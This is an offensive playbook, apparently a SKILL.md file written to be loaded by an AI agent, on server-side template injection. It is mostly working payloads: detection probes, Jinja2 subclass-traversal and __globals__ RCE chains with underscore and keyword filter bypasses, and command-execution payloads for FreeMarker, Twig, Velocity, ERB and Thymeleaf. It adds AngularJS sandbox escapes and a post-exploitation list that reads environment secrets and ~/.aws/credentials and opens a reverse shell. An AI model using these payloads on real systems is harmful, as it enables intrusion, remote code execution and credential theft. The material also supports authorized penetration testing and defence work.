ssti-server-side-template-injection

Imported from yaklang/hack-skills (skills/ssti-server-side-template-injection/SKILL.md) via skills.sh. Install upstream with npx skills add yaklang/hack-skills --skill ssti-server-side-template-injection. Copyright stays with the author.

SKILL: Server-Side Template Injection (SSTI) — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert SSTI techniques. Covers polyglot detection probes, engine fingerprinting, Jinja2/FreeMarker/Twig/ERB RCE chains, client-side Angular SSTI, and bypass techniques. Base models often miss sandbox escape MRO chains and non-Jinja2 engines. For PHP CMS template eval, Jira SSTI, Confluence OGNL, and Spring Cloud Gateway SpEL, load the companion SCENARIOS.md.

0. RELATED ROUTING

Before using full engine-specific exploitation, you can first load:

• First use the polyglot probe sequence at the top of this file for low-noise fingerprinting
• expression-language-injection when ${7*7} or %{7*7} resolves in Java (SpEL/OGNL) — different attack surface from template engines

Extended Scenarios

Also load SCENARIOS.md when you need:

• Maccms 8.x PHP template eval — {if-A:phpinfo()}{endif-A} in vod-search, base64 bypass for webshell write
• Jira CVE-2019-11581 — "Contact Administrators" form → Velocity template injection → command output in admin email
• Spring Cloud Gateway SpEL (CVE-2022-22947) — actuator route injection with StreamUtils.copyToByteArray for output capture
• Struts2 OGNL S2-045 (CVE-2017-5638) — Content-Type header OGNL injection with _memberAccess / OgnlUtil blacklist clear
• Confluence OGNL CVE-2021-26084 — createpage-entervariables.action with \u0027 unicode bypass
• SSTI vs EL injection disambiguation guide
• Additional template engines: ASP.NET Razor, Elixir EEx, PHP Smarty/Latte/Blade, JS Pug/Handlebars/Nunjucks/EJS/Lodash + universal detection + blind SSTI + Flask PIN calculation

SCENARIOS.md reference (§7–§11): For expanded payloads and engine-specific notes on Razor, EEx/LEEx/HEEx, PHP stacks, JavaScript template engines, the universal polyglot probe, mathematical fingerprinting, blind SSTI (boolean / time / OOB), and Flask debug PIN prerequisites, see SCENARIOS.md. This skill keeps a short checklist in §13–§15.

Engine Payloads Reference

For extended engine-specific fingerprinting, payload matrices (Jinja2, Twig, Freemarker, Velocity, Pebble, Mako, Slim, Handlebars, Thymeleaf, Smarty, ERB, Jade/Pug), and blind SSTI detection techniques (timing-based, DNS-based), see ENGINE_PAYLOADS.md.

Universal detection & blind SSTI (pointer)

Use the polyglot payload and math probes in §1 and §13 first; when you need fuller blind-test patterns and per-engine examples (including non-Python stacks), follow SCENARIOS.md §11 and cross-check §14 here for technique names (boolean, time, OOB, error-based).

1. DETECTION — POLYGLOT PROBE SEQUENCE

First test: distinguish SSTI from XSS. Send these probes and check if math is evaluated server-side:

{{7*7}}        → IF returns 49 (not {{7*7}}) → Jinja2 or Twig
${7*7}         → IF returns 49 → FreeMarker, Velocity, or Java EL
#{7*7}         → Ruby (ERB interpolation in strings)
<#assign x=7*7>${x}  → FreeMarker
@{7*7}         → Thymeleaf
*{7*7}         → Thymeleaf SpEL (*{...})

Jinja2 vs Twig disambiguation:

{{7*'7'}}
→ 7777777  = Jinja2 (Python string multiplication)
→ 49       = Twig (PHP numeric)

Safe detection probe (no math, just boolean):

{{''.__class__}}   → class 'str' = Python/Jinja2

2. ENGINE-TO-LANGUAGE MAPPING

Identifying language from errors → then narrow to template engine.

3. JINJA2 (PYTHON FLASK) — RCE CHAINS

Chain 1: os module via __globals__

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Chain 2: MRO subclass traversal (sandbox escape)

# List all subclasses:
{{''.__class__.__mro__[1].__subclasses__()}}

# Find subprocess.Popen index (usually around 258-270, varies by Python version):
# Look for "subprocess.Popen" in the list

# Execute command (replace [258] with correct index):
{{''.__class__.__mro__[1].__subclasses__()[258]('id', shell=True, stdout=-1).communicate()[0]}}

Chain 3: request object globals (works when config blocked)

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

(Uses hex encoding to avoid _ filtering)

Chain 4: lipsum function globals (Flask built-in)

{{lipsum.__globals__.os.popen('id').read()}}

Chain 5: cycler object

{{cycler.__init__.__globals__.os.popen('id').read()}}

Finding correct subprocess index dynamically:

# In injection:
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
  {% if 'Popen' in c.__name__ %}
    {{loop.index}}
  {% endif %}
{% endfor %}

4. JINJA2 SANDBOX BYPASS TECHNIQUES

When _ (underscore) is blocked:

# Use attr filter with hex encoding:
''|attr('\x5f\x5fclass\x5f\x5f')

# Use getattr via request object:
request|attr('args')|attr('__class__')

When . (dot) is blocked:

# Use [] subscript notation:
''['__class__']
config['SECRET_KEY']

When keywords (class, mro) are blocked:

Use hex/unicode in attr():

|attr('\x5f\x5fclass\x5f\x5f')
|attr('\x5f\x5fm\x72\x6F\x5f\x5f')

When output encoding strips HTML entities:

Use |safe filter to prevent auto-escaping.

5. FREEMARKER (JAVA) — RCE

Execute Command via freemarker.template.utility.Execute

<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}

Alternative via ObjectConstructor:

<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.lang.Runtime")?api.exec("id").inputStream))>
${br.readLine()}

6. TWIG (PHP) — RCE

// Twig 1.x (before sandbox):
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}

// Twig 2.x using built-ins:
{{['id']|map('system')|join}}

// via filter map:
{{app.request.server.all|join(',')}}

7. VELOCITY (JAVA) — RCE

#set($str=$class.inspect("java.lang.Runtime").method.invoke($class.inspect("java.lang.Runtime").type, null))
#set($run=$str.exec("id"))
#set($out=$run.inputStream)

Or more directly:

#set($class=$currentNode.getClass())
#set($rt=$class.forName("java.lang.Runtime"))
#set($proc=$rt.getMethod("exec",$class.forName("java.lang.String")).invoke($rt.getMethod("getRuntime").invoke(null),"id"))

8. ERB (RUBY RAILS) — RCE

<%= system('id') %>
<%= `id` %>
<%= IO.popen('id').read %>
<%= File.read('/etc/passwd') %>

9. THYMELEAF (JAVA SPRING) — RCE

Thymeleaf with Spring EL (SpEL):

// In th:text or th:fragment context:
__${T(java.lang.Runtime).getRuntime().exec("id")}__::type

// Fragment expression context:
__${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/sh","-c","id"}).getInputStream())}__::type

10. CLIENT-SIDE TEMPLATE INJECTION (AngularJS)

When AngularJS is used client-side and user data flows into template expressions:

// AngularJS 1.x sandbox escape:
{{constructor.constructor('alert(1)')()}}

// 1.5.x:
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

// 1.3.x:
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

Detection: send {{1+1}} — if page shows 2, AngularJS evaluates expressions in the DOM.

11. SSTI → FULL RCE PATH

SSTI detected → identify engine
├── Jinja2 → config.__globals__['os'].popen() 
│           OR subclass traversal for Popen
├── FreeMarker → freemarker.template.utility.Execute?new()
├── Twig → _self.env.registerUndefinedFilterCallback('exec')
├── Velocity → java.lang.Runtime.exec()
├── ERB → <%= `cmd` %>
├── Thymeleaf → T(java.lang.Runtime).getRuntime().exec()
└── Angular CSTI → constructor.constructor('payload')()

Post-RCE pivot:

1. Read /proc/self/environ — env vars with credentials
2. Read application config files — DB passwords, API keys
3. cat ~/.aws/credentials — cloud credentials
4. Reverse shell for persistence

12. COMMON INJECTION ENTRY POINTS

Where user data enters templates:

• URL path: https://site.com/home?name={{7*7}}
• Query parameters: ?message=Hello
• HTML forms: profile name, bio, content fields
• Error pages: 404 Not Found: /PAYLOAD
• Email templates: name in password reset emails
• Inline template rendering: render_template_string(user_input)

Most dangerous: render_template_string() in Flask — entire user input used as template.

13. UNIVERSAL DETECTION PAYLOADS

Polyglot probe that triggers errors or evaluation in many engines:

${{<%[%'"}}%\.

Mathematical probes for blind/error confirmation:

{{7*7}}          → 49 (Jinja2, Twig, Nunjucks, Handlebars)
${7*7}           → 49 (FreeMarker, Velocity, EL, Thymeleaf)
<%= 7*7 %>       → 49 (ERB, EJS, EEx)
#{7*7}           → 49 (Pug, Ruby interpolation)
@(7*7)           → 49 (Razor)
{7*7}            → 49 (Smarty)

Error-based engine fingerprint (parser/stack traces often name the engine):

(1/0).zxy.zxy

14. BLIND SSTI TECHNIQUES

• Boolean-based: Compare (3*4/2) vs 3*)2(/4 — if the first resolves and the second errors, evaluation is likely
• Time-based: {{sleep(5)}} or the engine-specific equivalent for delay
• OOB: DNS/HTTP callback via template expressions when direct output is not visible
• Error-based: Force different error messages based on true/false conditions

15. FLASK PIN CALCULATION

When Flask debug mode (Werkzeug debugger) is exposed but PIN-protected, the PIN is derived from host-specific values. Typical inputs for public PIN calculation scripts:

1. username — from /etc/passwd (the user running the Flask process)
2. Module name — often flask.app or Flask
3. Application path — app.py or the real main filename
4. MAC address — e.g. /sys/class/net/eth0/address, converted to decimal as Werkzeug expects
5. Machine ID — /etc/machine-id, or /proc/sys/kernel/random/boot_id combined with the first line of /proc/self/cgroup per Werkzeug’s algorithm
6. Compute PIN — use established open-source PIN calculators that implement the same algorithm from these values

Use only on systems you are authorized to test; obtaining these values implies prior access or an additional info-disclosure vector.